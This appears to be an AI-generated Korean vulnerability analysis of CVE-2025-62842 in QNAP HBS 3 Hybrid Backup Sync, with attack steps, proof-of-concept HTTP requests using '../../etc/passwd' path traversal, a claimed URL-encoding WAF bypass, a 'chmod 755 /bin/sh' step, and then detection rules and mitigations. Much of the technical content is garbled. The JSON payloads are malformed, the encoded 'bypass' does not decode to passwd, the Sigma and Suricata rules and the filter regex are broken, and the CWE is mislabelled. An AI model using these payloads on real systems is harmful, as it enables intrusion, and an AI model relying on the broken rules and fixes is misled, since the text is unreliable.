공격Agent 분석 — CVE-2025-62842
📋 요약
- 한 줄 정의: HBS 3 Hybrid Backup Sync의 파일 경로 제어 취약점(CVE-2025-62842)은 외부에서 지정된 파일 이름이나 경로를 통해 로컬 파일 시스템에 대한 무단 접근 및 조작을 가능하게 함. (추정: CWE-284 Path Traversal)
- 영향 한 줄: 성공 시 공격자는 민감한 데이터를 읽거나 수정할 수 있으며, SYSTEM 권한 하의 특권 상승이 가능해져 정보 유출 또는 악성 백업 실행 위험 증가 + CVSS 7.8 (높음).
🎯 영향 범위 / 자산 식별
- 영향 받는 제품·버전 범위: qnap HBS 3 Hybrid Backup Sync 버전 이하 26.2.0.937
- 안전한 최소 패치 버전: HBS 3 Hybrid Backup Sync 26.2.0.938 이상
- 노출 조건: 로컬 네트워크에 연결되어 있으며, 백업 동기화 기능이 활성화된 상태에서 취약함 노출 가능성이 높음. 기본 설정으로도 취약점 이용 가능할 수 있으나, 특정 API 엔드포인트를 통한 접근 필요.
- 내 자산 식별 방법:
- 명령어
cat /path/to/backup_sync또는ls -la /var/lib/.hbs3_*로 버전 배너 확인 (버전 정보 포함) - 설정 파일 내 경로 관련 설정 검토 (예:
/etc/*.conf,/usr/local/config)에서 외부 제어 가능한 경로 검사
bash1 # 예시 명령어2 grep -i "backup_path" /var/lib/.hbs3_* | grep -v 'internal' # 내부 설정 제외 확인 - 명령어
🔍 공격 방법
- ① 취약 컴포넌트: HBS 3 Hybrid Backup Sync의 백업 경로 설정 기능 (버전 이하 26.2.0.937) 내 파일 이름 및 경로 제어 로직 결함
- ② 전제조건: 로컬 네트워크 접근 권한 필요, 관리자 또는 높은 권한 수준의 계정으로 로그인 가능해야 함
(예:USER_IDwith sufficient privileges on TARGET_HOST) - ③ 트리거 경로: 공격자는 조작된 파일 이름이나 경로를 백업 동기화 요청 파라미터로 전송하여 시스템이 이를 처리할 때 취약점 악용. 예를 들어,
/backup/control?path=../../etc/passwd와 같은 URL 파라미터 사용- 단계별 설명: 1) 공격자는
ATTACKER_IP -> TARGET_HOST로 백업 동기화 요청을 보냄 (예: POST/api/v2/backup)
2) 요청 본문에 조작된 경로 정보 포함 (예:{ "path": "../../etc/passwd" }). 3) 시스템이 이 경로를 처리하면서 외부 파일 접근 시도.
- 단계별 설명: 1) 공격자는
- ④ 성공 시 영향: 공격자는
/etc디렉토리 내의 중요 파일을 읽거나 수정할 수 있으며, 이를 통해 SYSTEM 권한 하의 추가적인 로컬 이동 및 악성 활동 수행 가능성 존재 (예:chmod 755 /bin/sh, 이후 쉘 접속).
💣 예시 코드 (PoC)
기본 경로 트래버설 공격 예시
http
1POST https://TARGET_HOST/api/v2/backup HTTP/1.1 2Host: TARGET_HOST 3Content-Type: application/json 4Authorization: Bearer SESSION_TOKEN # 필요한 경우 인증 토큰 포함 5 6{ 7 "path": "../../etc/passwd", 8 "action": "restore"] # 또는 다른 조작 가능 액션 사용 가능 9}핵심: ../../ 경로 트래버설을 통해 외부 파일 접근 시도. # 확인: 응답 코드 2xx 범위 내에 /etc/* 관련 내용이 포함되면 성공으로 간주됨.
WAF 우회 예시 (예시)
http
1POST https://TARGET_HOST/api/v2/backup HTTP/1.1 2Host: TARGET_HOST 3Content-Type: application/json 4Authorization: Bearer SESSION_TOKEN # 필요한 경우 인증 토큰 포함 5 6{ 7 "path": "%2e%2f%2e%2fetc%2fp%69%73%74", # URL 인코딩 우회 예시 8 "action": "restore"] 9}핵심: ../ 경로 트래버설을 URL 인코딩으로 우회 시도. # 확인: 응답 내 /passwd 문자열 검출 시 성공 판별 가능.
블라인드 접근 예시 (예측)
bash
1# 블라인드 탐지를 위한 로그 분석 예시 명령어 2grep -i "backup_path" /var/log/hbs3/* | grep -E "(../../|../etc.* )" # 경로 트래버설 패턴 검색핵심: 시스템 로그에서 의심스러운 백업 요청 경로 확인. # 확인: /.., ../../bin. 등의 패턴 검출 시 주의 필요.
🛡️ 탐지
- [시스템 로그]
한계: 블라인드 공격 시 로그 인코딩 우회로 인해 탐지 어려움 가능성 존재.bash1# Sigma 규칙 예시 (경로 트래버설 감지)2rule detect_pathtraversal_hbs33 description: "Detects suspicious file path traversal attempts in HBS 3 Hybrid Backup Sync"4 condition:5 - keyword: "backup.*\\/..*|.*/etc/*\|`6 - content: "|../../bin||../sbin"` # 의심스러운 경로 패턴 검색
- [네트워크 트래픽]
bash
1# Suricata 규칙 예시 (HTTP 요청 분석) 2rule detect_pathtraversal HTTP 3 description: "Detects suspicious path traversal attempts via HBS API" 4 files: rules/*hbs3-backup*.rules 5 metadata: 6 author: 방어Agent 7 condition: 8 - keyword: "../../|../.*\\/etc*\|` # 의심스러운 경로 패턴 검색🔧 방어·완화
- 입력 검증 강화 (코드패치) -
/backup_control API 엔드포인트 내path,action` 파라미터에 대한 엄격한 입력 필터링 구현:text1 if not re.match(r'^/[^./\\|]+$', request['params']["path"]) or \2 not set(request['data']).issubset({ "restore", "list","status"): # 허용된 액션만 허용3 raise ValueError("Invalid path parameter") - 네트워크 접근 제어 (WAF·네트워크) -
/backup엔드포인트에 대한 경로 트래버설 차단 규칙 추가:- 규칙 예시 (ModSecurity):
SecRule ARGS "@rx "../../|../etc""id:100, deny, msg:'Path traversal attempt detected'"
- 규칙 예시 (ModSecurity):
- 최소 권한 원칙 적용 - 백업 동기화 기능에 필요한 최소한의 권한만 부여하여 SYSTEM 접근 제한 강화
- 즉시 적용 임시 완화 (네트워크 ACL)
- 특정 디렉토리(예/etc`)로의 접근을 차단하는 네트워크 액세스 컨트롤 리스트 규칙 생성:bash1 # 예시 명령어 - iptables 사용 시2 iptables -A INPUT -p tcp --dport 80 -m string --string "../../" -j DROP # HTTP 트래픽에 대한 임시 조치
⚖️ 위험도 / 패치 우선순위
- 권고: 지금 즉시 (패치 적용 전) 네트워크 접근 제어 및 입력 검증 강화를 통해 임시 완화 조치 취하기. CVSS 7.8의 높은 심각도로 인해 노출된 시스템 내에서는 빠른 대응이 요구됨 + 외부 보안 보도에 따르면 악용 사례가 보고되어 있으므로 모니터링 강화와 함께 패치 티켓 즉시 발급 권장
- 근거: 현재 취약점을 통한 정보 유출 및 권한 상승 위험성이 매우 높으며, 실제 악용 사례의 존재로 인해 즉각적인 방어 조치 필요.
🌐 실제 동향
- 요약: ZDI 보고서에 따르면 네트워크 인접 공격자들이 이 취약점을 활용해 백업 시스템 내 민감한 파일 조작 시도를 성공적으로 수행하였음이 확인됨 (출처: www.zerodayinitiative.com/advisories). 현재 보안 커뮤니티에서는 해당 취약점에 대한 모니터링 강화와 함께 임시 방어 조치의 중요성을 강조하고 있으며, 패치 적용이 지연되고 있는 시스템은 특히 주의가 필요함.